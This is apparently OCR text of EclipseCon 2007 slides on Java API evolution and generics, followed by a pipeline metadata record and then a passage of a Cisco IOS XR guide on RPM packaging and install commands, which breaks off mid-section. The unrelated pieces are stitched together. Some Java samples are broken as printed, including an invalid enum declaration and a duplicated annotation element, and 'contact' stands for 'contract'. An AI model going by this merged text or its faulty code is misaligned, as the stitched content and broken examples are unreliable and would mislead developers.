- Compatible for callers; breaks implementors
- Strengthen method postconditions – promise more to callers
- Compatible for callers; breaks implementors
- Strengthen method preconditions – expect more of callers
- Breaks callers; compatible for implementors
- Weaken method postconditions – promise less to callers
- Breaks callers; compatible for implementors
Binary compatibility lessons
- It is very difficult to determine if a change is binary compatible
- Binary compatibility and source compatibility can be very different
- You can’t trust the compiler to flag non-binary compatible changes
http://java.sun.com/docs/books/jls/thirdedition/html/binaryComp.html
- Reference: *Evolving Java-based APIs*, rev 1.1
http://wiki.eclipse.org/index.php/Evolving_Java-based/APIs
Evolving APIs
- Techniques for evolving APIs
- Techniques for writing APIs that are evolvable
Techniques for enabling API evolution
- Use abstract classes instead of interfaces for non-trivial types if clients are allowed to implement/specialize
- Separate service provider interfaces from client interfaces
- Separate concerns for different service providers
- Hook methods
- Mechanisms for plugging in generic behavior (IAdaptable) or generic state, such as getProperty() and setProperty() methods
Autoboxing, Variable Arity
To avoid unexpected effects,
Feed your function the args it expects,
With an arity count
In the proper amount,
Or you'll find that your program objects.
--- mephistopheles, www.oedilf.com
If you have a procedure with 10 parameters,
you probably missed some.
Alan Perlis
Auto-boxing
- `Integer bigX = (Integer) 5; // boxing conversion`
- `Integer bigX = Integer.valueOf(5); // how it’s compiled`
- `Integer bigX = 5; // auto-boxing`
- `int littleX = (int) bigX; // unboxing conversion`
- `int littleX = bigX.intValue(); // how it’s compiled`
- `int littleX = bigX; // auto-unboxing`
Language feature has no real impact on API design or evolution
Variable arity methods
- void main(String... args) {...} // variable arity method
- void main(String[] args) {...} // how it’s compiled
- main("A", "B", "C") // variable arity method invocation
- main(new String[] { "A", "B", "C" } ) // how it’s compiled
- Pros for use in APIs
- More convenient invocations for clients
- Works even better with auto-boxing
- Cons for use in APIs
- Hidden garbage array objects
- Even more hidden garbage with auto-boxing
Introducing variable arity methods
1. void main(T… args) // variable arity method
2. void main(T[] args) // fixed arity method
3. void main(T a0) // fixed arity method
- Change T to T…
- Breaks compatibility
- Change T[] to T…
- Compatible
- Compiler warnings if method is overridden/implemented
Evolving variable arity methods
1. void main(T… args) // variable arity method
2. void main(T[] args) // fixed arity method
3. void main(T a0) // fixed arity method
- Change T… to T
- Breaks compatibility
- Change T… to T[]
- Breaks compatibility
- Binary compatible
- Not source code compatible - invocations may no longer compile
Enumerations
Enums
- Enumeration types are a class type with self-typed constants
```java
public enum Direction = {NORTH, EAST, SOUTH, WEST};
```
- Direction.NORTH is of type Direction
- Constants are canonical instance - can be compared with ==
- Pros for use in APIs
- More strongly typed than ints
- Cons for use in APIs
- Less flexible than ints
Evolving enums
- Enum constant names are significant at runtime
- Direction.NORTH.name() returns “NORTH“
- Direction.valueOf(“NORTH“) returns Direction.NORTH
- Order of enum constants is significant at runtime
- Direction.values() returns new Direction[] { Direction.NORTH, Direction.EAST, Direction.SOUTH, Direction.WEST };
- Rename enum constant
- Breaks binary compatibility
- Delete enum constant
- Breaks binary compatibility
- Reorder enum constants
- Liable to break contact compatibility
- Add enum constant
- Liable to break contact compatibility
Annotations
Annotations
- Annotation types are special form of interface
- Methods are called elements
```java
public @interface LongOp {} // marker annotation type
public @interface ServiceType { // simple annotation type
enum Style { REST, RPC }
Style value() default Style.REST;
}
public @interface Login { // annotation type
String firstName();
String lastName();
}
@ServiceType(ServiceType.Style.RPC) // annotation
public interface MyShop {
@LongOp // annotation
@Login(firstName="Jayne", firstName="Daoust") // annotation
public void open();
@LongOp // annotation
public void close();
}
```
Annotations
- Impact on API design ??
- Use annotations to systematize and encode information about API
- Annotations are readable by
- Tools that analyze source code
- annotation.RetentionPolicy.SOURCE
- Tools that analyze class files
- annotation.RetentionPolicy.CLASS
- Program itself using reflection
- annotation.RetentionPolicy.RUNTIME
Evolving annotation types
- Annotation types - follow general guidelines for non-implementable interfaces
- Add annotation type element
- If element specifies default value
- Compatible
- If element does not specify default value
- Breaks compatibility
- Delete annotation type element
- Breaks compatibility
- Rename annotation type element
- Breaks compatibility
- Change type of annotation type element
- Breaks compatibility
- Add default class for annotation type element
- Compatible
- Change default clause for annotation type element
- Compatible
- Delete default clause for annotation type element
- Breaks compatibility
Evolving annotations
- Adding or removing annotations has no effect on the correct linkage of class files by the Java virtual machine
- But...
- Annotations exist to be read via reflective APIs for manipulating annotations
- No uniform answer as to what will happen if a given annotation is or is not present on an API element (or non-API element, for that matter)
- Depends entirely on the specifics of the annotation and the mechanisms that are processing those annotations
- Parties that declare annotation types should try to provide helpful guidance for their customers
I like my lyrics to feel conversational and truthful, as if we're having real talk.
I don't really like generic lyrics.
---Meredith Brooks
Generic Types
- **Generic types** are classes or interfaces with *type variables*
```java
public class Stack<E> { // generic type
public void push(E element);
public E pop();
}
```
- **Parameterized types** supply actual type arguments
- Reference types only – no primitive types
```java
Stack<String> stringStack // parameterized type
= new Stack<String>();
Stack<Date> integerStack // parameterized type
= new Stack<Date>();
stringStack.push("A");
String s1 = stringStack.pop();
String s1 = (String) stringStack.pop(); // how it’s compiled
stringStack.push(new Date()); // compile error
Integer i1 = stringStack.pop(); // compile error
```
Type Bounds
- Type variables may have bounds
/* © Copyright 2007 IBM Corp. All rights reserved. This source code is made available under the terms of the Eclipse Public License, v1.0. */
public class NumberStack<E extends Number> {
public void push(E element);
public E pop();
}
NumberStack<Integer> integerStack = new NumberStack<Integer>();
NumberStack<Float> floatStack = new NumberStack<Float>();
NumberStack<String> stringStack = new NumberStack<String>(); // compile error
Wildcard types
- Consider
```java
/* © Copyright 2007 IBM Corp. All rights reserved. This source code is made available under the terms of the Eclipse Public License, v1.0 */
interface Collection <E> {
boolean containsAll(Collection<E> c);
...
}
```
```java
Collection<Number> myCollection;
Collection<Integer> yourCollection;
myCollection.containsAll(yourCollection);
```
Compare:
```java
boolean containsAll(Collection c); // raw type
boolean containsAll(Collection<Object> c); // too restrictive
boolean containsAll(Collection<E> c); // too restrictive
boolean containsAll(Collection<?> c); // just right
```
Generic Types
- Pros for use in APIs
- Permits strong typing in certain situations that would otherwise be loosely typed
- More errors detected at compile-time type
- More convenient for callers
- More convenient for implementers
- Dovetail with Java Collections API
- Cons for use in APIs
- None if done well
- Neither Pro Nor Con
- Performance
## Evolving Generified API
<table>
<thead>
<tr>
<th>Change</th>
<th>Compatibility</th>
</tr>
</thead>
<tbody>
<tr>
<td>Add type parameter</td>
<td><strong>Breaks compatibility</strong> (unless type was not generic)</td>
</tr>
<tr>
<td>Delete type parameter</td>
<td><strong>Breaks compatibility</strong></td>
</tr>
<tr>
<td>Re-order type parameters</td>
<td><strong>Breaks compatibility</strong></td>
</tr>
<tr>
<td>Rename type parameters</td>
<td><strong>Binary compatible</strong></td>
</tr>
<tr>
<td>Add, delete, or change type bounds of type parameters</td>
<td><strong>Breaks compatibility</strong></td>
</tr>
</tbody>
</table>
- We strongly recommend you get it right the first time
- As often the case with API design, there is no second chance
Evolving APIs that use Generic Types
- Same rules as before:
- Changing an argument type is like removing a method and adding a new one
- Same for return types
Generification
- Introducing generic types into an existing API
- Possible to preserve compatibility
- E.g., Java Collections API was generified in 1.5
- Language has special provisions for backwards compatibility
- Raw type – using generic type as if it were not generic
- `List` `beatles = Arrays.asList("John", "Paul", "George", "Ringo");` // raw
- Raw types are discouraged – compiler warnings by default
- Compatibility between old and new is based on erasures
Erasures
- The compiler replaces type variables so that all parameterized types share the same class or interface at runtime
```java
public class Stack<E> {
public void push(E Object element);
public E Object pop();
}
Stack<String> stringStack;
Stack<Integer> integerStack;
```
Converting Raw to Parameterized Types
- Applies if
- Raw types (e.g. Collections) appear in your API
- Conversion is contract-compatible
- Return types: making stronger promises, always possible
`public Map getArgs() -> public Map<String, String> getArgs()`
- Argument types: enforcing existing contracts at compile time
`public void setArgs(Map m) -> public setArgs(Map<String, String> m)`
- This is a binary compatible change (erasure is the same), BUT...
- `Map<String, String>` is not equivalent to “Map with String keys and values”
- Sometimes not easy to step up to stronger contract
- For example, it is easy if they create the map themselves, but hard to do if they get it from somewhere else
- Be careful not to require too much from your clients
Introducing Type Variables
- Applies if
- Your API is like the collection framework (e.g. container types), or
- You inherit from / delegate to a type that was generified, or
- `java.lang.Object` appears in your API but clients need to downcast
- Return types: Relieving clients from having to downcast
```java
interface IObservableValue { Object getValue(); }
-> interface IObservableValue<V> { V getValue(); }
```
- Argument types: Enforcing contracts at compile time
```java
interface IObservableValue { void setValue(Object value); }
-> interface IObservableValue<V> { void setValue(V value); }
```
- Don’t overdo it, generify cautiously
- Weigh type safety against complexity
- Be aware of ripple effect
- Problematic: Arrays, Fields
Arrays and Generic Types Are Different
- String[] is a subtype of Object[], but
ArrayList<String> is not a subtype of ArrayList<Object>!
- Reason for this: Principle of substitutability
A is a subtype of B if B can be substituted whenever an A is expected
- Consider:
```java
public static void someMethod(List<Object> someList) {
someList.add(new Object());
}
List<String> stringList = new ArrayList<String>();
someMethod(stringList); // type error
```
- Array types: String[] is a subtype of Object[], but you will get an
ArrayStoreException if you try to store an Object in an array that was
created as a String array
Array Types in API and Generification
*/ © Copyright 2007 IBM Corp. All rights reserved. This source code is made available under the terms of the Eclipse Public License, v1.0. */
- class ArrayList<E> {
...
E[] toArray() {
// how to implement this?
}
E[] toArray(E[] es) {
// here you can use:
Array.newInstance(es.getClass().getComponentType(), size());
}
}
- Solution:
- If arrays are pervasive in your API (as in Eclipse):
Do not generify types that appear as array component types in your API
- Otherwise, generify everything except problematic cases like the one above
Generic Methods
- This sort API is not very useful to clients:
public static void sort(List<Object> list);
Why? Because e.g. List<String> is not a subtype of List<Object>,
clients would be overly constrained.
- Generic methods to the rescue:
class SortUtil {
public <E> void sort(List<E> list) { ... }
}
- Can be invoked as follows:
List<String> stringList = ...;
SortUtil.<String>sort(stringList);
(oftentimes, type parameter can be omitted)
- If the concrete type of E is not used in the body of sort(), you can write:
public static void sort(List<?> list) { ... }
Generic Methods and Type Bounds
- Generic method with type constraint:
```java
class SortUtil {
public <E extends Comparable> void sort(List<E> list) { ... }
}
```
- If E is not important in the body of sort:
```java
class SortUtil {
public void sort(List<? extends Comparable> list) { ... }
}
```
*(remember that using List<Comparable> would be very restrictive for clients)*
- However, consider this:
```java
class SortUtil {
public <E> void sort(List<E> list, Comparator<E> comparator) { ... }
}
```
- Requiring a Comparator<E> is restrictive, you should instead do this:
```java
public <E> void sort(List<E> list, Comparator<? super E> comparator) {
...
}
```
**Hidden casts**
- **Not recommended:**
```java
class Wrapper<T> {
protected T wrapped;
}
class FileWrapper extends Wrapper<File> {
public void mkdirs() {
if (wrapped != null)
wrapped.mkdirs();
}
public void createNewFile() {
if (wrapped != null)
wrapped.createNewFile();
}
}
```
- **Will be translated to:**
```java
class Wrapper {
protected Object wrapped;
}
class FileWrapper extends Wrapper {
public void mkdirs() {
if (wrapped != null)
((File)wrapped).mkdirs();
}
public void createNewFile() {
if (wrapped != null)
((File)wrapped).createNewFile();
}
}
```
More Resources about Java 5 and APIs
- EMF long talks on Tuesday and Wednesday
API Tools
- Work in PDE Incubator to provide API tools
- Four general categories of tooling:
- API Comparison
- Bundle version checking
- Usage discovery
- Usage validation
API Comparison
- Create XML-based snapshot of the API of a given bundle or project
- Produce a report on API changes between two snapshots
- Identifies potentially breaking changes (not perfect, there are various corner cases)
- Uses API difference analysis to suggest appropriate version number changes
Uses for API Comparison
- Catch breaking API changes early
- Helps in writing migration documentation for clients in cases where breaking changes are necessary
- Useful as input for New & Noteworthy, API documentation
More information on API tools
- In CVS at dev.eclipse.org/cvsroot/eclipse/pde-incubator/api-tooling/
- http://wiki.eclipse.org/index.php/PDE_UI_Incubator_ApiTools
Autobox/Arity Quiz 1: Is this compatible?
Before:
/* © Copyright 2007 IBM Corp. All rights reserved. This source code is made available under the terms of the Eclipse Public License, v1.0. */
public class A {
public void foo(String... x) {
}
}
After:
public class A {
public void foo(String... x) {
}
public void foo(String x, String... y) {
}
}
public class Sum {
public int length(int... x) {
return Arrays.asList(x).size();
}
public int length(String... x) {
return Arrays.asList(x).size();
}
public static void main(String[] arguments) {
System.out.print(new Sum().length(1, 2, 3, 4));
System.out.print(new Sum().length("1", "2", "3", "4"));
}
}
Generics Quiz 1: Is This Compatible?
Before:
/* © Copyright 2007 IBM Corp. All rights reserved. This source code is made available under the terms of the Eclipse Public License, v1.0. */
public class A {
public void foo(Collection c) {…}
}
After:
public class A<T> {
public void foo(Collection<T> c) {…}
}
Generics Quiz 2: Is This Compatible?
Before:
/* © Copyright 2007 IBM Corp. All rights reserved. This source code is made available under the terms of the Eclipse Public License, v1.0. */
public class A {
public void foo(Collection<String> c) {...
}
After:
public class A {
public void foo(Collection c) {...
}
Generics Quiz 3: Is This Compatible?
Before:
/* © Copyright 2007 IBM Corp. All rights reserved. This source code is made available under the terms of the Eclipse Public License, v1.0. */
public class A {
public final void foo(Collection<String> c) {…}
}
After:
public class A<T> {
public final void foo(Collection<Object> c) {…}
}
Generics Quiz 4: Is This Compatible?
Before:
```java
/* © Copyright 2007 IBM Corp. All rights reserved. This source code is made available under the terms of the Eclipse Public License, v1.0. */
public class A<T> {
public void foo(Collection<T> c) {...}
}
```
After:
```java
public class A<T,E> {
public void foo(Collection<T> c) {...}
}
```
Generics Quiz 5: Is This Compatible?
Before:
```java
/* © Copyright 2007 IBM Corp. All rights reserved. This source code is made available under the terms of the Eclipse Public License, v1.0. */
public class A {
public void foo(Collection<Number> c) {...}
}
```
After:
```java
public class A<T extends Number> {
public void foo(Collection<T> c) {...}
}
```
Generics Quiz 6: What does this print?
```java
/* © Copyright 2007 IBM Corp. All rights reserved. This source code is made available under the terms of the Eclipse Public License, v1.0. */
static class A<T extends A<T>> {
public T ping() {
return (T) this;
}
}
static class B extends A<B> {
public B pong() {
return this;
}
}
public static void main(String... args) {
System.out.println(new B().ping().pong().getClass().getSimpleName());
}
```
A) A
B) B
C) Compile error
D) ClassCastException
Generics Quiz 7: What does this print?
A) null
B) java.lang.Object@1a2b4c1d
C) Compile error
D) ClassCastException
Legal Notices
- IBM and Rational are registered trademarks of International Business Corp. in the United States and other countries
- Java and all Java-based trademarks are trademarks of Sun Microsystems, Inc. in the United States, other countries, or both
- Other company, product, or service names may be trademarks or service marks of others
Questions or Comments?
Compatibility Quiz Material
- Collection -> Collection<E>
- Map<K> -> Map<K,V>
- Collection<E> -> Collection
- foo(List<String> list) -> foo(List<Object> list)
- void containsAll(Collection<E> c) -> void containsAll(Collection<?> c)
Compatible for callers
- void containsAll(Collection<Object> c)
-> void containsAll(Collection<?> c)
Compatible for callers
- double sum(Collection<Integer> c)
-> double sum(Collection<? extends Number> c)
compatible for callers
|
{"Source-Url": "http://www.eclipse.org/eclipse/presentation/eclipsecon/API-Tutorial-EclipseCon-2007.pdf", "len_cl100k_base": 6437, "olmocr-version": "0.1.53", "pdf-total-pages": 71, "total-fallback-pages": 0, "total-input-tokens": 99125, "total-output-tokens": 9181, "length": "2e12", "weborganizer": {"__label__adult": 0.00036787986755371094, "__label__art_design": 0.0002827644348144531, "__label__crime_law": 0.0002579689025878906, "__label__education_jobs": 0.0008401870727539062, "__label__entertainment": 4.273653030395508e-05, "__label__fashion_beauty": 0.00011783838272094728, "__label__finance_business": 0.0001595020294189453, "__label__food_dining": 0.0002925395965576172, "__label__games": 0.00032520294189453125, "__label__hardware": 0.0003287792205810547, "__label__health": 0.00023829936981201172, "__label__history": 0.00013399124145507812, "__label__home_hobbies": 5.7816505432128906e-05, "__label__industrial": 0.00018596649169921875, "__label__literature": 0.0001537799835205078, "__label__politics": 0.00018358230590820312, "__label__religion": 0.0003688335418701172, "__label__science_tech": 0.000919342041015625, "__label__social_life": 9.083747863769533e-05, "__label__software": 0.0036563873291015625, "__label__software_dev": 0.990234375, "__label__sports_fitness": 0.0002841949462890625, "__label__transportation": 0.0003116130828857422, "__label__travel": 0.00020968914031982425}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 27007, 0.00524]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 27007, 0.33442]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 27007, 0.7087]], "google_gemma-3-12b-it_contains_pii": [[0, 118, false], [118, 833, null], [833, 1076, null], [1076, 1468, null], [1468, 1851, null], [1851, 2238, null], [2238, 3027, null], [3027, 3174, null], [3174, 3254, null], [3254, 3482, null], [3482, 3551, null], [3551, 3815, null], [3815, 4095, null], [4095, 4335, null], [4335, 4851, null], [4851, 5412, null], [5412, 5972, null], [5972, 6279, null], [6279, 6452, null], [6452, 6683, null], [6683, 7134, null], [7134, 7706, null], [7706, 7801, null], [7801, 8208, null], [8208, 8510, null], [8510, 8934, null], [8934, 9407, null], [9407, 9718, null], [9718, 10073, null], [10073, 10086, null], [10086, 10431, null], [10431, 11007, null], [11007, 11019, null], [11019, 11773, null], [11773, 12135, null], [12135, 12824, null], [12824, 13407, null], [13407, 13547, null], [13547, 14306, null], [14306, 14796, null], [14796, 15421, null], [15421, 15790, null], [15790, 16422, null], [16422, 16587, null], [16587, 17058, null], [17058, 17347, null], [17347, 18124, null], [18124, 18895, null], [18895, 19537, null], [19537, 20144, null], [20144, 20737, null], [20737, 21444, null], [21444, 22127, null], [22127, 22207, null], [22207, 22389, null], [22389, 22694, null], [22694, 22913, null], [22913, 23077, null], [23077, 23445, null], [23445, 23807, null], [23807, 24126, null], [24126, 24448, null], [24448, 24791, null], [24791, 25145, null], [25145, 25514, null], [25514, 26045, null], [26045, 26166, null], [26166, 26512, null], [26512, 26535, null], [26535, 26535, null], [26535, 27007, null]], "google_gemma-3-12b-it_is_public_document": [[0, 118, true], [118, 833, null], [833, 1076, null], [1076, 1468, null], [1468, 1851, null], [1851, 2238, null], [2238, 3027, null], [3027, 3174, null], [3174, 3254, null], [3254, 3482, null], [3482, 3551, null], [3551, 3815, null], [3815, 4095, null], [4095, 4335, null], [4335, 4851, null], [4851, 5412, null], [5412, 5972, null], [5972, 6279, null], [6279, 6452, null], [6452, 6683, null], [6683, 7134, null], [7134, 7706, null], [7706, 7801, null], [7801, 8208, null], [8208, 8510, null], [8510, 8934, null], [8934, 9407, null], [9407, 9718, null], [9718, 10073, null], [10073, 10086, null], [10086, 10431, null], [10431, 11007, null], [11007, 11019, null], [11019, 11773, null], [11773, 12135, null], [12135, 12824, null], [12824, 13407, null], [13407, 13547, null], [13547, 14306, null], [14306, 14796, null], [14796, 15421, null], [15421, 15790, null], [15790, 16422, null], [16422, 16587, null], [16587, 17058, null], [17058, 17347, null], [17347, 18124, null], [18124, 18895, null], [18895, 19537, null], [19537, 20144, null], [20144, 20737, null], [20737, 21444, null], [21444, 22127, null], [22127, 22207, null], [22207, 22389, null], [22389, 22694, null], [22694, 22913, null], [22913, 23077, null], [23077, 23445, null], [23445, 23807, null], [23807, 24126, null], [24126, 24448, null], [24448, 24791, null], [24791, 25145, null], [25145, 25514, null], [25514, 26045, null], [26045, 26166, null], [26166, 26512, null], [26512, 26535, null], [26535, 26535, null], [26535, 27007, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 27007, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, true], [5000, 27007, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 27007, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 27007, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 27007, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 27007, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 27007, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 27007, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 27007, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 27007, null]], "pdf_page_numbers": [[0, 118, 1], [118, 833, 2], [833, 1076, 3], [1076, 1468, 4], [1468, 1851, 5], [1851, 2238, 6], [2238, 3027, 7], [3027, 3174, 8], [3174, 3254, 9], [3254, 3482, 10], [3482, 3551, 11], [3551, 3815, 12], [3815, 4095, 13], [4095, 4335, 14], [4335, 4851, 15], [4851, 5412, 16], [5412, 5972, 17], [5972, 6279, 18], [6279, 6452, 19], [6452, 6683, 20], [6683, 7134, 21], [7134, 7706, 22], [7706, 7801, 23], [7801, 8208, 24], [8208, 8510, 25], [8510, 8934, 26], [8934, 9407, 27], [9407, 9718, 28], [9718, 10073, 29], [10073, 10086, 30], [10086, 10431, 31], [10431, 11007, 32], [11007, 11019, 33], [11019, 11773, 34], [11773, 12135, 35], [12135, 12824, 36], [12824, 13407, 37], [13407, 13547, 38], [13547, 14306, 39], [14306, 14796, 40], [14796, 15421, 41], [15421, 15790, 42], [15790, 16422, 43], [16422, 16587, 44], [16587, 17058, 45], [17058, 17347, 46], [17347, 18124, 47], [18124, 18895, 48], [18895, 19537, 49], [19537, 20144, 50], [20144, 20737, 51], [20737, 21444, 52], [21444, 22127, 53], [22127, 22207, 54], [22207, 22389, 55], [22389, 22694, 56], [22694, 22913, 57], [22913, 23077, 58], [23077, 23445, 59], [23445, 23807, 60], [23807, 24126, 61], [24126, 24448, 62], [24448, 24791, 63], [24791, 25145, 64], [25145, 25514, 65], [25514, 26045, 66], [26045, 26166, 67], [26166, 26512, 68], [26512, 26535, 69], [26535, 26535, 70], [26535, 27007, 71]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 27007, 0.0292]]}
|
olmocr_science_pdfs
|
2024-12-07
|
2024-12-07
|
e4e203ea65fd4d2eddc317fd20bf46e48258a270
|
Changes to This Document
This table lists the technical changes made to this document since it was first released.
Table 1: Changes to This Document
<table>
<thead>
<tr>
<th>Date</th>
<th>Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>September 2017</td>
<td>Republished for Cisco IOS XR Release 6.3.1</td>
</tr>
<tr>
<td>July 2017</td>
<td>Republished for Cisco IOS XR Release 6.2.2</td>
</tr>
<tr>
<td>November 2016</td>
<td>Republished for Cisco IOS XR Release 6.1.2</td>
</tr>
<tr>
<td>December 2015</td>
<td>First release for Cisco IOS XR Release 6.0.0</td>
</tr>
</tbody>
</table>
For information on obtaining documentation, using the Cisco Bug Search Tool (BST), submitting a service request, and gathering additional information, see What's New in Cisco Product Documentation.
To receive new and revised Cisco technical content directly to your desktop, you can subscribe to the What's New in Cisco Product Documentation RSS feed. RSS feeds are a free service.
© 2015–2017 Cisco Systems, Inc. All rights reserved.
CONTENTS
Changes to This Document iii
CHAPTER 1 New and Changed Feature Information 1
New and Changed Feature Information 1
CHAPTER 2 Introduction to Flexible Packaging 3
Workflow for Flexible Packaging 4
Packaging Filename Format 4
CHAPTER 3 Manage Automatic Dependency 7
Update RPMs and SMUs 8
Upgrade Base Software Version 9
CHAPTER 4 Customize Installation using Golden ISO 11
Limitations 11
Golden ISO Workflow 12
Build Golden ISO 12
Install Golden ISO 15
New and Changed Feature Information
This section lists all the new and changed features for the Flexible Packaging Configuration Guide.
• New and Changed Feature Information, on page 1
### Table 2: New and Changed Features in Cisco IOS XR Software
<table>
<thead>
<tr>
<th>Feature</th>
<th>Description</th>
<th>Changed in Release</th>
<th>Where Documented</th>
</tr>
</thead>
<tbody>
<tr>
<td>No new features were introduced.</td>
<td>NA</td>
<td>Release 6.3.1</td>
<td>NA</td>
</tr>
</tbody>
</table>
CHAPTER 2
Introduction to Flexible Packaging
Flexible packaging is a method of breaking down the Cisco IOS XR operating system into modules and providing them as RPMs (packages). Delivering packages as RPMs enables easier and faster system updates.
The lean base software contains only the required packages, while the optional packages are provided separately as installable RPMs. You can select and install the services you want by selecting the required RPMs.
Flexible packaging feature also supports automatic dependency management, whereby, while the user is updating an RPM, the system automatically identifies all relevant dependent packages and updates them. The system uses standard LINUX tools to manage dependency during upgrades.
The base software is the minimum mandatory package (with utilities), required for the basic functioning of the router. This is also called the mini.iso file. This base package contains:
- Operating system (OS)—Kernel, file system, memory management, and other OS utilities
- Base components—Interface manager, system database, checkpoint services, configuration management utilities
- Infrastructure components—rack management, fabric management
- Routing protocols—mandatory routing protocols (such as BGP)
- Forwarding components—FIB, ARP, QoS, ACL
- Line card drivers
Mandatory RPMs (such as, BGP) which are a part of the base software, cannot be removed and can only be upgraded.
*Figure 1: Granular routing modules*
This section also describes the following:
Workflow for Flexible Packaging
This image shows the overall workflow for Flexible Packaging.
Figure 2: Flexible Packaging Workflow
Packaging Filename Format
The format of an RPM is: **name-version-release.architecture.rpm** where,
- **name** - of the platform the software supports
- **version** - the version of the software
- **release** - the number of times this version of the software has been delivered
- **architecture** - the node's processor architecture
Consider the following example:
```plaintext
ncs5500-mpls-1.2.0.0-r611.x86_64.rpm
```
**Platform-Package Name**: ncs5500-mpls
**Version**: 1.2.0.0
**Release**: r611
**Architecture**: x86_64
Software Maintenance Upgrades (SMUs) are delivered as RPMs. RPMs have a four-digit version number. The first three digits represent major, minor, and build numbers respectively. The fourth digit is incremented with each SMU release.
This table lists the reasons when each digit of the version gets incremented.
<table>
<thead>
<tr>
<th>Version (Digit from left)</th>
<th>Indicates</th>
<th>Incremented When</th>
</tr>
</thead>
<tbody>
<tr>
<td>First</td>
<td>Major</td>
<td>non-backward compatible API(s) change(s)</td>
</tr>
<tr>
<td>Second</td>
<td>Minor</td>
<td>a backward compatible change occurs to a public API</td>
</tr>
<tr>
<td>Third</td>
<td>Build</td>
<td>an RPM is built without any API change</td>
</tr>
<tr>
<td>Fourth</td>
<td>SMU Release</td>
<td>a new SMU is released</td>
</tr>
</tbody>
</table>
**Defect ID**
SMUs are identified with a defect-ID. In this example, note that, for the first SMU release of the package, the fourth digit starts at 1 and for the second SMU release of the package, the fourth digit is incremented to 2.
First SMU of the mpls package: `ncs5500-mpls-1.2.0.1-r611.CSCus12345.x86_64.rpm`
Second SMU of the mpls package: `ncs5500-mpls-1.2.0.2-r611.CSCus12322.x86_64.rpm`
Manage Automatic Dependency
Flexible packaging supports automatic dependency management. While the user is updating an RPM, the system automatically identifies all relevant dependent packages and updates them.
Figure 3: Flow for Installation (base software, RPMs and SMUs)
Until this release, users downloaded the software image and required RPMs from CCO on a network server (the repository). They used the `install add` and the `install activate` commands to add and activate the downloaded files on the . Then, users needed to manually identify relevant dependent RPMs, to add and activate them.
With automatic dependency management, users need not identify dependent RPMs to individually add and activate them. They can execute new install commands to identify and install dependent RPMs automatically.
The new commands are `install update` and `install upgrade`. The `install update` command identifies and updates dependent packages. The command does not update the base package. The `install upgrade` command upgrades the base package.
Note
1. Cisco IOS XR Version 6.0.2 and later does not provide 3rd-party and host package SMUs as part of automatic dependency management (`install update` and `install upgrade` commands). The 3rd party and host package SMUs must be installed separately, and in isolation from other installation procedures (installation of SMUs and RPMs in IOS XR or admin containers).
2. Cisco IOS XR Version 6.0.2 and later does not support asynchronous package upgrades.
3. From Cisco IOS XR Version 6.1.1 onwards, it is possible to update the `mini.iso` file by using the `install update` command.
The rest of this chapter contains these sections:
- Update RPMs and SMUs, on page 8
- Upgrade Base Software Version, on page 9
## Update RPMs and SMUs
An RPM may contain a fix for a specific defect, and you may need to update the system with that fix. To update RPMs and SMUs to a newer version, use the `install update` command. When the `install update` command is issued for a particular RPM, the router communicates with the repository, and downloads and activates that RPM. If the repository contains a dependent RPM, the router identifies that dependent RPM and installs that too.
The syntax of the `install update` command is:
```
install update source repository [rpm]
```
Four scenarios in which you can use the `install update` command are:
- **When a package name is not specified**
When no package is specified, the command updates the latest SMUs of all installed packages.
```
install update source repository
```
**Note**
From Cisco IOS XR Version 6.1.1 onwards, if the `mini.iso` file is not specified, then it is not added as part of the update. Even if the repository contains the `mini.iso` file, it is not installed.
```
install update source scp://<username>@<server>/my/path/of/packages
```
- **When a package name is specified**
If the package name is specified, the command installs that package, updates the latest SMUs of that package, along with its dependencies. If the package is already installed, only the SMUs of that package are installed. (SMUs that are already installed are skipped.)
```
install update source repository ncs5500-mpls.rpm
```
- **When a package name and version number are specified**
If a particular version of package needs to be installed, the complete package name must be specified; that package is installed along with the latest SMUs of that package present in the repository.
```
install update source repository ncs5500-mpls-1.0.2.0-r611.x86_64.rpm
```
- **When an SMU is specified**
If an SMU is specified, that SMU is downloaded and installed, along with its dependent SMUs.
```
install update source repository ncs5500-mpls-1.2.0.1-r611.CSCus12345.x86_64.rpm
```
- **When a list of packages (containing the mini.iso file) is specified**
From Cisco IOS XR Version 6.1.1 onwards, if a list of packages (containing the `mini.iso` file) is specified, all the packages in the list and the `mini.iso` file are automatically added as part of the update.
install update source scp://<username>@<server>/my/path/of/packages [List of packages] noprompt
• When the mini.iso file is specified
From Cisco IOS XR Version 6.1.1 onwards, if the mini.iso file is specified during the update, then the file is installed with all RPMs and SMUs from the repository.
install update source scp://<username>@<server>/my/path/of/packages [mini.iso] noprompt
### Upgrade Base Software Version
You may choose to upgrade to a newer version of the base software when it becomes available. To upgrade to the latest base software version, use the **install upgrade** command. With the upgrade of the base version, RPMs that are currently available on the router are also upgraded.
---
**Note**
SMUs are not upgraded as part of this process.
The syntax of the **install upgrade** command is:
```
install upgrade source repository version version [rpm]
```
---
**Note**
VRF and TPA on dataport is not supported. If the server is reachable only through non-default VRF interface, the file must already be retrieved using ftp, sftp, scp, http or https protocols.
You can use the **install upgrade** command when:
- **The version number is specified**
The base software (.mini) is upgraded to the specified version; all installed RPMs are upgraded to the same release version.
```
install upgrade source [repository] version 6.2.2
```
- **The version number for an RPM is specified**
When performing a system upgrade, the user can choose to have an optional RPM to be of a different release (from that of the base software version); that RPM can be specified.
```
